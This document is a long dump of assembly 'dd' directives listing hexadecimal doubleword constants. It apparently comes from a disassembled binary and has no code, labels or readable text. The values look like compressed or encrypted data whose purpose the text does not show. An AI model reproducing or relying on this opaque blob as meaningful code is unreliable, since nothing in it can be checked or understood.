		dd 76168AC7h, 0E37A3CFFh, 0E7F31100h, 0A4E951E8h, 0B9B85300h
		dd 334E8F1Eh, 81210025h, 970F3E98h, 4601A1A3h, 0FCD57DEEh
		dd 9C34AC9Eh, 7479F6h, 0BF2CA66h, 0FCAB3B11h, 48F4250Fh
		dd 5400936Eh, 0C16F908h
		dd 9C6500A7h, 4C7717E3h, 57FAB3BCh, 2801DC07h, 0C6E0E26Ch
		dd 391B6B4h, 0C1FB41C8h, 88D47BCh, 0E71E5444h, 0BD5ABB80h
		dd 0F94DD038h, 4508FCh,	0C71B1387h, 9BC65477h, 7008098h
		dd 8CB7621Ah, 9F58C5h, 7FB0E0B2h, 0C1FA9164h, 213F6300h
		dd 0C8382449h, 111E21Dh, 98C675A5h, 0F885E1F7h,	0E57CE3D4h
		dd 9E088600h, 25B95B4h,	625D39E9h, 4C322700h, 73853606h
		dd 6165C600h, 0C91FFB57h, 0C01A00B8h, 0D162CECBh, 6900AF50h
		dd 39AABB84h, 7690B0h, 2E167141h, 0B46A79F3h, 4B00B2F8h
		dd 3C98DF3Ah, 71B64E19h, 8FCB0B6Bh, 0F8057AFCh,	4C60E49Eh
		dd 0DCF13001h, 7E52DA29h, 0B26FE8h, 131A3E1Dh, 0DB1680E1h
		dd 0B5866303h, 0E830EA77h, 174E8AE4h, 1467EDEh,	0BFDABE0Bh
		dd 8EF8607Dh, 239DA500h, 39DEACFDh, 0DF4F002Eh,	24A01DB0h
		dd 0EB5078A3h, 581DA4E8h, 0E61DE495h, 0BC843980h, 0B6CCD05Ah
		dd 0F426A0h, 0EC600136h, 48005D2Dh, 67E321E4h, 55CB11h
		dd 0C8B7FB6Bh, 6FE1D371h, 400E67Fh, 122B1088h, 0ADC289h
		dd 0D49BC5D9h, 537D4148h, 6105FD03h, 0A2361506h, 0E06843BFh
		dd 7B3DC38h, 5911A223h,	1D6DA16Ch, 0C0C9E488h, 29001475h
		dd 264F7361h, 4860EE8Fh, 0F601D087h, 0A0AE50E5h, 362B6047h
		dd 3F6EBE05h, 5CC0FE04h, 1959953h, 4AF1CD3Eh, 20AB48A2h
		dd 4C641658h, 0B3C06A30h, 3ED713D4h, 78839069h,	0DE3D2E07h
		dd 0F158A9B8h, 0C253A31Eh, 80C0D49Ch, 0D80B9B17h, 9A42074Eh
		dd 34B139Dh, 0B000A920h, 0C8CCF86Dh, 9862F7AEh,	5927026Ch
		dd 0FE710DE4h, 745DC60h, 3DD4701h, 69748E3Eh, 0E3C460h
		dd 0EA395635h, 38CCDB4Eh, 0A8BEFE00h, 5E0AD02h,	830B007Fh
		dd 9AF1DDD2h, 8960FB62h, 19CB6711h, 6F2A0087h, 0D2B5794h
		dd 0AE1F35D3h, 6300BC91h, 0BE1E9D2Eh, 4263995h,	0BB2720Eh
		dd 11CF83BCh, 17902827h, 7A0EA35Bh, 2762069Bh, 0B6F14B5Ah
		dd 54FCFCBAh, 266A00C5h, 0E3E81CD0h, 6B01A763h,	19A50E1Ah
		dd 3BFC5A90h, 32A2035Bh, 0FA06D2BEh, 497D50A0h,	1AB2A000h
		dd 0C0C7C153h, 0EA2001F5h, 4D02DE59h, 6AD2C450h, 0F9B65F00h
		dd 916BD54h, 0D9EC95h, 8EAC5E97h, 0F5F4E233h, 802A48h
		dd 9FA83926h, 0FAF332h,	28677748h, 97AC1BBFh, 9486B51Dh
		dd 9C81D09Dh, 0EA1F11Dh, 2CF8B040h, 36FF3978h, 0DBB49600h
		dd 0D80695F4h, 0AEB810Fh, 0B2B76F87h, 5EB54840h, 25B6BE4h
		dd 641179CAh, 78C0D642h, 5816108Bh, 3400F06Fh, 0D76E06AAh
		dd 0CF1A0028h, 2DAF485Ch, 5700E798h, 0EF0AF890h, 49764625h
		dd 0B00486Ch, 549466A1h, 0F800E916h, 0DC2C21E1h, 2F089D3Dh
		dd 0F40083F2h, 1EC3FC35h, 487CDE00h, 0ABCC5FF1h, 142A0320h
		dd 25DCC5A8h, 3479C688h, 2173C300h, 819364DAh, 24E500A4h
		dd 56F72C68h, 0F898ED50h, 2973B91Ch, 67B21840h,	998ED114h
		dd 865800FCh, 6C1EB36Eh, 0BB121000h, 2368AAC9h,	0B6E3008Ah
		dd 532234FCh, 0A9071CDDh, 9F3C38CAh, 30BD0D21h,	94D2CEE0h
		dd 24500064h, 0A5F423C9h, 7804400h, 10118E1Bh, 3E20C031h
		dd 92EE38A4h, 84A0463Ah, 1A75808Fh, 12AE7CA0h, 0B71C05Bh
		dd 48C04FD4h, 0E500C21Fh, 38A129A5h, 30778A89h,	53062F8h
		dd 28020256h, 0EF5B9068h, 1BAC803Ch, 0F8B451A5h, 0C051E40h
		dd 0EC310906h, 0B53A9450h, 828C0AB6h, 0A9805CC9h, 3A228798h
		dd 0DDF819F5h, 0C46519A4h, 0E13FF44h, 12E803F4h, 609CD92Ah
		dd 44D0C0ACh, 0A054DB23h, 970120DCh, 0C9FE9429h, 5438E083h
		dd 43F83F00h, 0B9FFCB55h, 0C4BCD228h, 38935C29h, 0DF48AD40h
		dd 8C995416h, 72BB140Fh, 0A200AC0Ah, 0A0DD2B47h, 4D2E90AAh
		dd 0C2C45C1h, 9002EF43h, 32F530FEh, 2041C6DCh, 2DCAC3C0h
		dd 56BFE507h, 0C9745762h, 0B98B24B1h, 0A480C4FAh, 0A6D8B872h
		dd 0E9CA9473h, 0DA00BCDCh, 9F1AAC63h, 7F10173Dh, 46140122h
		dd 716743BEh, 6ED813E3h, 7B8769C8h, 3A237101h, 54980648h
		dd 8100744Eh, 9B3B6613h, 77002836h, 0E283CA1Ah,	0E8A575h
		dd 0D85364B6h, 0EC49B1DDh, 35886603h, 2BC79A2h,	0B81AB648h
		dd 0B0C1A5F6h, 0B2F43073h, 94033F4Bh, 0D06C1642h, 4BBEFBCFh
		dd 0D1B030B5h, 3B0FF0F6h, 0E3D04F53h, 0A819A17Fh, 126817F5h
		dd 305A84h, 0A0F035D8h,	0C2032979h, 0C1F93EB6h,	0BF1BC086h
		dd 0CF42288Eh, 0C8D22218h, 97D6A30Ch, 7D10D0h, 8983CC1Ch
		dd 4030D1F5h, 26AC9F54h, 66FEE8A4h, 7BA00754h, 8209A8BEh
		dd 0C1182012h, 0FEF1AD6h, 90427406h, 6EB66240h,	0B077FCh
		dd 0BE4A0106h, 3B11C376h, 69BD5239h, 0E060A925h, 0CD00413Bh
		dd 0DE3699ABh, 3A034F5Dh, 3774AE6h, 0D8253343h,	0AFE8F448h
		dd 0FF00D458h, 1429EB60h, 54B5E5h, 0E783DE38h, 4ED1ACCh
		dd 98259828h, 0BA0E39h,	5A89DB53h, 66C2CAh, 0A08CDC16h
		dd 7C842395h, 0CB815D00h, 0E02D8F6Bh, 799A00CEh, 0E9B7473h
		dd 8900908Bh, 31EF2703h, 8510BAh, 87253545h, 0E444636Bh
		dd 67A3961Eh, 837A5909h, 0C8EF2AE4h, 7EAB34h, 617DBC8Fh
		dd 0B4259A2Ch, 0E258C602h, 40996A96h, 8F082Dh, 6572E1CEh
		dd 1DE87A5Bh, 40D81100h, 9F37B13Eh, 975000DEh, 0B2EFFE05h
		dd 83032B8Fh, 1A4B5C2Ch, 2EC0DD90h, 38F5A1EAh, 0C5D046AFh
		dd 0A45601B2h, 254AA39Fh, 46C3Ch, 573DB42Dh, 0CD51D8h
		dd 0A6D9141Bh, 78595A4h, 55173000h, 35D5F71Fh, 5A1B00F3h
		dd 2478B6B7h, 3B26A206h, 539250E8h, 7A01E4E4h, 0C8521291h
		dd 8870203h, 4C78928Dh,	9453D502h, 80185B41h, 4FD969E0h
		dd 0A4ECCB83h, 6D06E820h, 4D00DC5Eh, 293F8B4Ah,	7B47D90Bh
		dd 0AB5AEDh, 708A2870h,	6202F174h, 5CD787C6h, 58D26Bh
		dd 0CE6FE729h, 448DEA9Fh, 1F001E78h, 0F73C32C6h, 6082A6B7h
		dd 3A89043h, 1101DFB0h,	0FEEC881Bh, 19307701h, 25260109h
		dd 6F9D8BA6h, 0FC80E8DCh, 4A3F930Dh, 3050681Dh,	0F6DDDB4h
		dd 666CCBB0h, 7E4A4120h, 0F31CDCF1h, 0E0CB981Fh, 2085DCC4h
		dd 0B7240094h, 900C4BFCh, 0E4E21502h, 4D67230Eh, 3726801Fh
		dd 0F89382h, 0C8B8A81Bh, 25D724FFh, 0D83F505h, 488E9E7h
		dd 4111005Ch, 313DADCCh, 340167B9h, 0FD965277h,	2C603921h
		dd 0B2080229h, 0D6E131E7h, 0D7E6E048h, 0A0A7B626h, 3E9A9C00h
		dd 4334Ah, 304C3DF1h, 0B4489FEDh, 1CB34B1h, 61E502DAh
		dd 0FB4830h, 741F282Eh,	228F70F3h, 83C8FD39h, 8387B345h
		dd 0F8C5D826h, 1D689012h, 1413EF0h, 0A995A6F2h,	0A5143424h
		dd 8BB9C200h, 2B56D87Eh, 0B28200FCh, 87438A96h,	0A805E637h
		dd 2DC99B51h, 0A61C9480h, 27B3004Eh, 0A33BEF90h, 0CB006106h
		dd 0BC6E0950h, 2F286367h, 4E50BD36h, 8981450Eh,	1184B4A7h
		dd 482CA542h, 0C0469410h, 70E62601h, 3A64215Ch,	1A719400h
		dd 1D83F3B5h, 0F9B1F422h, 0E8C900F5h, 853EDB78h, 0A80715B7h
		dd 0EFD1AB89h, 2FF2ADC1h, 88759843h, 166BBF42h,	5340EADEh
		dd 1210205Ch, 6807C486h, 31F050BDh, 0A48813A4h,	2BB7705Bh
		dd 2C0748Bh, 0EB44ABDDh, 0E1BF20EBh, 78800D71h,	0AFD60FD4h
		dd 9442567Ah, 486B3366h, 18F9F7B8h, 11435B3Eh, 52F601FFh
		dd 6FF890C0h, 1217B1DEh, 23F943Eh, 0CE23A5E2h, 4361685Ch
		dd 30612BAEh, 0C454002Eh, 4EC31785h, 0F9208C01h, 61185D57h
		dd 320FE02Ch, 7AC00192h, 0BCCD2AC1h, 0BF013898h, 0B7C32CA9h
		dd 28807CECh, 2D835F7Bh
		dd 5218CE6Ch, 4019D2E9h, 9472F7h, 98F54B8Eh, 9AAEE33Fh
		dd 0B56FE600h, 3DBD1DD8h, 0FB5A0F25h, 93A098A7h, 0C41EA8DEh
		dd 0C3138901h, 77C8802Fh, 0BE94003Eh, 0EE467EDCh, 9F8B3C02h
		dd 0C09C7289h, 76C22858h, 0DE3D246Ch, 80549208h, 59409400h
		dd 0C9A098ABh, 0C80F881Ch, 85532181h, 0A300929Ch, 440349E7h
		dd 0D22D14A8h, 0D630CC2Bh, 0EEEFBC18h, 8052403Ah, 661603B3h
		dd 3B2A6742h, 53AC59A4h, 0AB810008h, 0A5DACAE4h, 0A0DC200Ch
		dd 2C101851h, 7A7BC9h, 0F27FF8Fh, 460038CEh, 9D4C67B5h
		dd 5843856Ch, 7E1E6441h, 9FF400E8h, 0BDEBF346h,	80500838h
		dd 0E2FF813Eh, 1EC73F5Bh, 0BB7D52h, 5ABDCA82h, 0BA07ABE0h
		dd 0DF2B81DEh, 0E7C03220h, 2AA3008Bh, 0D42336FEh, 5561C5F6h
		dd 11645E78h, 30722ECh,	87A0AE89h, 0D0D9C6EEh, 601FFDCCh
		dd 0BF075B7Ch, 0CB2ADC72h, 86D160AFh, 0E13B8710h, 0F06FFF8h
		dd 0A30D2B3Dh, 0C5DF1D82h, 52A96040h, 58E53100h, 0ADFC6776h
		dd 4EDCA093h, 9D3C3A78h, 0BB44D0CEh, 35006288h,	0CDC21E9Fh
		dd 222C90Fh, 8AC4CE91h,	0FA40B612h, 2E0F60DAh, 0A07E7AD4h
		dd 2C21F76Eh, 918A380Eh, 0BE0030C8h, 0F074ED93h, 0E8096DCCh
		dd 94D903h, 206FB508h, 0CE501789h, 0D70803BEh, 79E0865Fh
		dd 540F3304h, 0C0FDCCDFh, 0A7972D21h, 13EE3A44h, 0BA894B3Eh
		dd 0A050F751h, 39672600h, 0D23CD461h, 0CEFA00CAh, 0CC73EE68h
		dd 83007943h, 3B4150Fh,	95C1A7h, 74F142CDh, 2FC0E2Bh, 0A8D7C305h
		dd 3185F2F5h, 0C418644Bh, 69292074h, 0E3345B00h, 0D096B53Fh
		dd 1C710491h, 8041FE70h, 7CDC1D24h, 3A44FD5Ch, 3D6A874Ch
		dd 609E1ACBh, 0B966D577h, 3530014h, 59C24CF2h, 993E4978h
		dd 64BA0032h, 7ADB34BDh, 0EDA31897h, 935B381Ch,	1763DA05h
		dd 0CC80C991h, 2B8DCBFh, 1A07A845h, 9C504B71h, 0FB754015h
		dd 4FE60088h, 2665C66Eh, 0C41C02B5h, 63200CEDh,	961F5C50h
		dd 8B8912F6h, 0D4FF080Eh, 69D7730Eh, 0BEBB8031h, 6BE680h
		dd 6C64B6F3h, 75703BABh, 48F525h, 0D0413314h, 2B3C1DB1h
		dd 895FC0AEh, 93E8AC79h, 580134B3h, 0F342F497h,	296FBECh
		dd 734D27BBh, 0EC5A90A6h, 4E44D000h, 0FEEF039Fh, 227F0059h
		dd 0EED3D1CDh, 79025F01h, 434701Dh, 1234F0DFh, 0C095C742h
		dd 15CE09E0h, 75F03A05h, 7C91288Ah, 80093EA0h, 0D33ACF28h
		dd 1698A39h, 7066429Fh,	619068E6h, 1A02ECF8h, 0D800F57Eh
		dd 0C6E2FD2Dh, 0F7AA9D1h, 892C22E5h, 91EB66C5h,	38B71A18h
		dd 68B2A40Ch, 2A46AF01h, 0FC1F7BDCh, 0BD48E5E4h, 0C4806B1h
		dd 0E686696h, 2F4C32D5h, 0A5186257h, 948DA925h,	0EB80182Ch
		dd 0BFAA0E2Dh, 8BA357Eh, 0A419EE0Ah, 6280B857h,	3BF0E3EFh
		dd 0F3DD008Fh, 469252F8h, 1900B5DBh, 0D76CC99Dh, 8E889Bh
		dd 122EC268h, 8CE2494Eh, 3CA9380Bh, 509C3A18h, 99A664ACh
		dd 4C80350Ch, 39CC2260h, 0F60575EEh, 32D0A7Dh, 6B19AFA8h
		dd 0D4444FE8h, 1A508D00h, 0D3C5993Bh, 9C895894h, 0FD275684h
		dd 0A0DD0C3Ch, 61AF58E8h, 0A7FD13Ah, 0CE08645Dh, 0D3C6F10Ah
		dd 9780B8CAh, 0C7DA4F8Ah, 0F23C0151h, 0D917A413h, 12DC234Ah
		dd 78001253h, 0B1FE0A41h, 0E4F67F6Fh, 84E0003Ch, 6CCA2E35h
		dd 0EE0060E8h, 0CE65CE7h, 1C37DDD1h, 83628058h,	0A3939D5Fh
		dd 1649A9B8h, 230EE300h, 7B34BD3h, 0B4D11782h, 949A00A2h
		dd 9BC72E49h, 7E98487Dh, 1675A801h, 0BF289F79h,	0F7895880h
		dd 4BC3DC0Dh, 210F9D77h, 0A3817B6Dh, 0C00CD1B3h, 2D72D6BDh
		dd 3CC0EF1Fh, 1E026492h, 0D93407A4h, 5D8CA054h,	24DCFCEAh
		dd 96C80440h, 785CC896h, 0B3BB8700h, 0D0F98852h, 77967h
		dd 276BC871h, 0C5353FD1h, 2DDD9800h, 74D9698Dh,	45D70B50h
		dd 0C800A0E9h, 3DDF4448h, 6C03FCE6h, 0F84A6FFAh, 0EF3FA12Ch
		dd 8A809BE5h, 10E65B98h, 0E000EA02h, 0B03A2D2h,	0B9F2D1h
		dd 0A680D785h, 1DD10E9h, 0F0B68B30h, 0A907E0h, 0CB8FA813h
		dd 58E827FCh, 0F71C8D00h, 269F2BF6h, 1F953FCCh,	1366A80h
		dd 6429EB61h, 1200747Dh, 97D9FE39h, 1EC09025h, 0B9D299h
		dd 633F2A45h, 54017747h, 0B1AD3209h, 68649F3Ah,	4E4F1EFCh
		dd 0C07FC002h, 3CE31AF5h, 799CEE00h, 2235F296h,	98D558F8h
		dd 1CC1FB00h, 9B46D630h, 0F0E50216h, 0CB57B8C0h, 76C54C73h
		dd 0D6AA700h, 8EAAD1E2h, 4A3C9101h, 9B94F3E6h, 59140060h
		dd 0D65890A4h, 93B28802h, 0F6C05924h, 0A890E8C5h, 80A06858h
		dd 0B26556D0h, 6F40069h, 43970B47h, 3800ADF1h, 5B5CCBE3h
		dd 2D24EAFh, 2CEB07FDh,	8F8C1A0h, 742F4F26h, 0A99BB30Eh
		dd 0C53401B9h, 3E39F1h,	0B40F6D28h, 0E4EA7562h,	40C08D4Ah
		dd 90A3D602h, 9B160079h, 0DB0D9E90h, 0E300B373h, 0E599D155h
		dd 98017DBBh, 0C8A54BA8h, 1500F008h, 0CF2A2533h, 0DE1F70h
		dd 874DBCE8h, 8F0FAE7Bh, 8845712Ch, 6376F200h, 962A813Bh
		dd 8AFE00A4h, 0C71E07E8h, 665CB600h, 0A398300Eh, 0D11100D7h
		dd 70E79A56h, 0D18A9B7h, 91CC7BF8h, 26BC2EC6h, 0A12D39BAh
		dd 49286003h, 610436E9h, 0D5946098h, 0E054AC54h, 7E63140h
		dd 6304C94Ah, 0B7A970F3h, 0B80086A0h, 7ACD43CEh, 428DDD2h
		dd 0FB1B4C61h, 382CADF4h, 27C50A1Ch, 0C9009FC7h, 810A179Dh
		dd 5C69E49Bh, 5100EB89h, 0F1FA08FBh, 5D4ACFFCh,	0C08C4082h
		dd 551E2Bh, 0DDB5579Dh,	0EF4F3158h, 15007E79h, 14C4E14Ch
		dd 0F6C275h, 8DC8FF4Dh,	0D6B1D3E5h, 5902E70Fh, 373060BFh
		dd 9E04A7h, 39C7197Dh, 0DF0C7CA3h, 2752E200h, 21F398F7h
		dd 9C150008h, 591D1951h, 0D90E0B90h, 6E42DDE6h,	0F76BD6h
		dd 0E266D39Fh, 9A89889h, 62E32710h, 0C0655287h,	708AA474h
		dd 7A695607h, 0FC0A291Fh, 0FC03D928h, 9650C201h, 0B7C8E888h
		dd 26800027h, 86DECA59h, 5B006977h, 0D52B83C7h,	12A220B4h
		dd 0B43E5737h, 0CF1F59B0h, 80BA6FBEh, 0A39FECFEh, 4FD2BCE2h
		dd 3C88407Ah, 8631806Ah, 9D5Eh,	0BE386DCAh, 85F1026Bh
		dd 0CE44D1B7h, 602F70E8h, 0FA1C4F03h, 0FCFDF6F3h, 0E3DF4D0h
		dd 266400B9h, 0AD802DB0h, 27046103h, 0CC4159F8h, 56DD1C80h
		dd 3937DFCh, 4C3931C1h,	0E7C98E1Ah, 0A6803451h,	53414900h
		dd 0CEAF466Fh, 14A70740h, 3005D770h, 0D167818Fh, 0DE183201h
		dd 13239E4Eh, 333FC30h,	0C5956EB9h, 3790CC71h, 0DC0B842Ah
		dd 972E5h, 1B03D68Ch, 98E0D4D4h, 0D9F29A00h, 0A3C6FCF3h
		dd 0E4104626h, 82691503h, 406C90A9h, 317103E8h,	25FEB385h
		dd 0FB24A488h, 0C6F3D600h, 0D4A2220Dh, 160E7C96h, 0FF04E3h
		dd 2FD6651Ch, 3400C617h, 942BB552h, 388C53F3h, 0EABDF4F2h
		dd 2600B2BDh, 80FEAE1Bh, 6412BEE7h, 68B1830Ch, 0CBC8B021h
		dd 0A05B05C2h, 1E9FA55h, 0C6C0CEDCh, 803C68B6h,	0E7A708B1h
		dd 0BF1C000Dh, 99888571h, 0C3143B2Ch, 0CC116Bh,	390CDAB1h
		dd 20517CD2h, 6F04AE48h, 0D7FAA1B0h, 7FFB9900h,	259FB5CEh
		dd 0A8F0BEA8h, 72C9237h, 0F55358Ch, 8A9BB0AAh, 14E0736Eh
		dd 74CA0B28h, 9EDC953Ah, 0E7D592DAh, 4D671ECCh,	84B0E456h
		dd 890F0F4Ah, 7185C6B0h, 0A9F4B017h, 0CD454E12h, 8403052h
		dd 7E829F29h, 0F93C1D20h, 0CE1E4080h, 35CC63BDh, 0B43F38h
		dd 5510F190h, 74DEDC4h,	229CD8CDh, 0F8FAB2h, 5D8F6EE0h
		dd 1B00CC44h, 0FCEEA309h, 0FA11FDF2h, 91DD0340h, 780EA739h
		dd 0FA0A86A8h
		dd 79F098A0h, 0F9348E01h, 1B479585h, 8D7FF8h, 20844492h
		dd 0A7AC254Bh, 40FC2Ch,	10BB0301h, 0F0803EDCh, 5F1D928Eh
		dd 0FD0019BCh, 89B327ABh, 5D7BA0h, 0A19E2DE5h, 93999DB0h
		dd 7D74A3FEh, 0C9013A73h, 10638AB1h, 5FD8BE44h,	0B3241782h
		dd 8E80B061h, 0CB66C91Ch, 5B645141h, 0BE709D0Ah, 0BC00958Fh
		dd 4AAD03DCh, 537ADD00h, 50B031AFh, 0E8FCB85Ch,	30A40178h
		dd 2CAB9057h, 3C007B56h, 27D0323Ch, 0B3BE004Dh,	6A77DAEEh
		dd 0D5E2C798h, 7E549602h, 40FE7123h, 162D16Ch, 9829AB34h
		dd 0CD885FEFh, 4FE8C00Dh, 46A1B105h, 5C0CFAEh, 0F81BB7Eh
		dd 0CA586CDCh, 42760F20h, 500B1DAh, 0A65636A0h,	484D626Bh
		dd 9A056CEBh, 0B37A8B12h, 44CC00D0h, 6A644E31h,	905105E1h
		dd 0C7CFE7CBh, 7D9D90A8h, 0E93979D7h, 169AC862h, 7C174B76h
		dd 83F32CD0h, 0DDD2631h, 1AAF0463h, 0F23281BCh,	0E52ECC49h
		dd 0AC05D44Ah, 5C90375Dh, 8B1E38h, 0EF545834h, 7687C63Fh
		dd 0D9068600h, 2FEC13CFh, 0CB90030h, 0BC2CF18Eh, 0A60672B3h
		dd 5659A1CAh, 19C80380h, 1F3E6CA7h, 0BE7B6808h,	123800FBh
		dd 70DDFF3Fh, 0B0825C2Fh, 59C7ECh, 0D34D896Dh, 2F9226BEh
		dd 56FE1003h, 0D873DD44h, 1E45463Ah, 802E5365h,	4CC97B8Dh
		dd 0D8000F6Eh, 235AC5F6h, 905593DBh, 32AF220h, 0A41E769Eh
		dd 0BDE017AFh, 6E88B4Dh, 16909748h, 0C7007716h,	9084BF99h
		dd 8D27032Ch, 6C80CE30h, 68D11C90h, 3B219300h, 7A16B295h
		dd 6E143D40h, 0C5610C8Eh, 862F0012h, 912FB60Eh,	0C23B2175h
		dd 0BC278D3Fh, 7C41884Bh, 0A06E18F5h, 0BD09AC32h, 114DC3Bh
		dd 3D1BECFCh, 2705802Dh, 0C15830A6h, 0C0D7F91Ch, 0E8B8F4E7h
		dd 0F000D970h, 0FA707B3Bh, 0B23843h, 240B0284h,	23C08FA6h
		dd 907FB600h, 9819EDD0h, 0BF253F72h, 7DF95300h,	0D4065210h
		dd 0CE045600h, 0B807DB6Ch, 0CCFD50BCh, 0B9AE391Dh, 5A0B7E81h
		dd 806CE3BDh, 1ACB44B6h, 52AA2FEh, 3DE9D3Ah, 0EFFC8036h
		dd 0C4093CC6h, 0F9CFB8Bh, 82FC405Ah, 12C701D1h,	0E8B20Dh
		dd 1088F66Ch, 2100E27Bh, 30D76AF8h, 0C5E1FEh, 0D4498FE3h
		dd 0BD18D3E6h, 0AC1FE24Bh, 0A8644345h, 0B4136481h, 3F49034h
		dd 8E2A3E03h, 93A08770h, 0E49EE408h, 0C3BB6601h, 1180F3F8h
		dd 0AC458A96h, 88B897F6h, 0DC176C7Ah, 2CF03FADh, 0D1E817CAh
		dd 0CC602035h, 94B8591Fh, 16B6D500h, 0EDFBE548h, 0A8E40924h
		dd 0BCC18744h, 0BA07D6Ah, 853C0C03h, 908178D0h,	4EE1A792h
		dd 16D5C080h, 5D7F68D6h, 0BCE5D117h, 8CAD2840h,	44077Bh
		dd 9B6BF537h, 4CDB6389h, 0B24B0C00h, 0E8E536D3h, 49D609E3h
		dd 8CC81B7Dh, 77010DA8h, 39717B90h, 0FC20F5CDh,	3F7000E7h
		dd 99D672C5h, 0CE002FB2h, 5DD9EA3Ah, 5BEBD3h, 0D12034BDh
		dd 0DB9E2163h, 0AF9D3E00h, 0C875622Fh, 8EF2BBh,	468A5AFEh
		dd 0E627F9CFh, 226D700Fh, 0C40A80DCh, 508CF755h, 52980D0h
		dd 465F2FACh, 6C58D20Eh, 0A50E3854h, 0FBB32744h, 0D9DEE550h
		dd 5D0A0481h, 0A870E2BEh, 21E40068h, 6F45DC05h,	224905A4h
		dd 800D96DAh, 2ABCF718h, 5BB4E503h, 0D1A4F524h,	0C86C563Fh
		dd 18D26018h, 149A94D8h, 9F2C0100h, 0F82869B9h,	713800EDh
		dd 0F923BCA2h, 6B01E781h, 0C3499EF3h, 0BC67D5A7h, 0FB32FF07h
		dd 90B9B4F7h, 5DE03938h, 0FC15F91Eh, 81656A1Fh,	4BD55530h
		dd 0A6FC427Bh, 2E21DDD2h, 1080A7B7h, 49D98A03h,	0F207ADE9h
		dd 750D2A80h, 14D36910h, 0CDD20022h, 2F7DE11Bh,	0FE0FA119h
		dd 53BEF88Ah, 469FA600h, 3F641D5h, 6A27F2A5h, 0ACD00D2Bh
		dd 0B624396Dh, 0BF923CDAh, 0D200D0E3h, 7A9D13CCh, 6E04C420h
		dd 44636A96h, 4C9B9490h, 94590483h, 0C0BBCE09h,	0C409CD0h
		dd 76105E10h, 65DBFA01h, 13F142Dh, 0EAA2C5h, 2721FE7Dh
		dd 70888CA1h, 0CD0FBD98h, 1D71AEh, 70C5CA4Eh, 3E9A15D7h
		dd 6300D047h, 0B925DDC7h, 214D592h, 0A005BBh, 9FF34FADh
		dd 44EB009h, 0E30A197Ah, 1014F278h, 0FA129044h,	7C6C0030h
		dd 83897774h, 808DBC3Ch, 0D1F4F870h, 549ADDh, 781479C2h
		dd 0A315C49Fh, 0C0626801h, 0CC8730CEh, 0FFBFC184h, 40844F22h
		dd 6F854534h, 0DC0D1361h, 0BFDD032Bh, 0B1999E82h, 0F481FCD3h
		dd 0F169FD00h, 38BF5C9h, 0D00A4A17h, 0B599B86Ch, 6B1C8603h
		dd 8925EA05h, 882A93AEh, 0D00D190h, 6211EC9h, 3F7B4FA3h
		dd 388A3B3Eh, 0B4B49Fh,	468753A8h, 37483ECh, 745A900h
		dd 81E93B8Fh, 7ADB3F2Bh, 18C43D80h, 17E4A38Bh, 56FD3000h
		dd 0AF6A23BDh, 80D55F93h, 0AE36DFACh, 0E964124h, 63FC7007h
		dd 5A6D77F2h, 485D0028h, 0C8B94FF1h, 501CEE2Dh,	3831324Ch
		dd 0ACECE81Dh, 9FF984Bh, 46DA99BEh, 0A1003070h,	962C35E0h
		dd 51D7BDDh, 8CD8BED0h,	6A04A0FCh, 7ACC420Eh, 502EEBE9h
		dd 0A64894F8h, 18CF0114h, 0C742DB06h, 8C9D5013h, 1C052612h
		dd 68F0D019h, 3D60C02Bh, 0B7F42FFCh, 88BF7110h,	0C00BFA05h
		dd 6FE440ECh, 6A11AB26h, 0FFAAEE01h, 8F0BDC69h,	0E4731040h
		dd 0BD4B038Ah, 0F555431Eh, 845857A0h, 3E8F013Ch, 0C10C14C5h
		dd 48693318h, 17478135h, 587BBBC0h, 0CD00C9EAh,	0B0E34D3Dh
		dd 7E3F7549h, 7D060F82h, 73F92084h, 0FE88BEh, 17F43983h
		dd 0E8DE32E9h, 0A37CC00h, 9AD9EC99h, 0C850C4F9h, 1DCE9D8h
		dd 0B1E0090Bh, 42E84D25h, 572F9h, 493EE303h, 7E92070Fh
		dd 0EA4138h, 0DA17998Ah, 83FCEEh, 0F55C6DEBh, 6B531460h
		dd 0F23D52B8h, 87007DC1h, 38519BDh, 7738DEh, 8C363373h
		dd 0DD61A1FEh, 0EAD93200h, 12247F82h, 91D663D7h, 10A83C8Fh
		dd 0D3077BD4h, 0E2BFAE09h, 8280BC6Ah, 0D92AE5B7h, 1255C45h
		dd 0BBECF100h, 0DFD39474h, 6D5D3173h, 0D6F000E0h, 99E80423h
		dd 2F4B0CC2h, 0E3186E09h, 5FC928A0h, 86CBAA00h,	68E2F453h
		dd 747A27h, 0B6414765h,	0F544364Dh, 0E2087F80h,	2EA9C0CFh
		dd 0B6253492h, 0C4DCC355h, 0A6EE16D4h, 0E4EBF300h, 0C4F104F0h
		dd 841F00DBh, 0C08EC5FFh, 0DC01284Bh, 39D481BBh, 33FCDADEh
		dd 0E44D0127h, 63B3A6D9h, 9E0BF87Ah, 30CC7948h,	3C8A61EFh
		dd 5334001Dh, 0E14D886Ch, 0BB00F6C4h, 8D1E60A6h, 0DC7B19h
		dd 58D5E505h, 0C38202Eh, 8468AA00h, 82921575h, 74F1E86h
		dd 324D83FEh, 0BC03806h, 59018DFBh, 0B1DDD91Fh,	0C8EBBB71h
		dd 225ACBh, 8B98B2AFh, 0DAA4A5E1h, 76FCC17Fh, 39899E0Ch
		dd 468F10DDh, 65A90281h, 204399D8h, 0A6E2769Ah,	526941C1h
		dd 459A1BDh, 0C6B7A6ECh, 19CCEB10h, 0D38448h, 4092AA86h
		dd 0C828E7h, 96C95D25h,	789CE6D9h, 0F7D62402h, 805873F3h
		dd 7F7DA328h, 11B960F1h, 9B28A7DDh, 86CF2503h, 30BF3C5Dh
		dd 7B21B508h, 173E28A4h, 1E31030Bh, 66B1FBEh, 5712199h
		dd 4A02A989h, 0B9F722E6h, 3BED60E0h, 43730070h,	8852F83Dh
		dd 39C06876h, 0B0FB9E89h, 0D66E06F2h, 896EA7Dh,	0A6214160h
		dd 0FD0FBA7h, 0E7113792h, 7E016074h, 75AAD6EEh,	62E3CF3Eh
		dd 0C1301900h, 21267EDh, 5F64000Eh, 5553F9C8h, 0B7383151h
		dd 62EBFBFh, 66761571h,	49DC0069h, 7221B6F5h, 0D0E379FDh
		dd 6C6E14BFh, 0BCD28521h, 516D8440h, 3EFD78CBh,	0BA9E7259h
		dd 815458AFh, 53249332h, 0AA0398A8h, 3078D365h,	94215C08h
		dd 64005388h, 595B0DA9h, 149742h, 954F0BE7h, 7D41516Bh
		dd 2401A4A8h, 0D510D118h
		dd 724A71h, 0AA3C39FEh,	6AC33851h, 83F728CEh, 99422A2h
		dd 1481C139h, 36A66800h, 0A566FCB9h, 3F218E08h,	1200BAE1h
		dd 9D29D783h, 0CA0CFEFDh, 0F17008BFh, 9C1C06F0h, 0B96353DDh
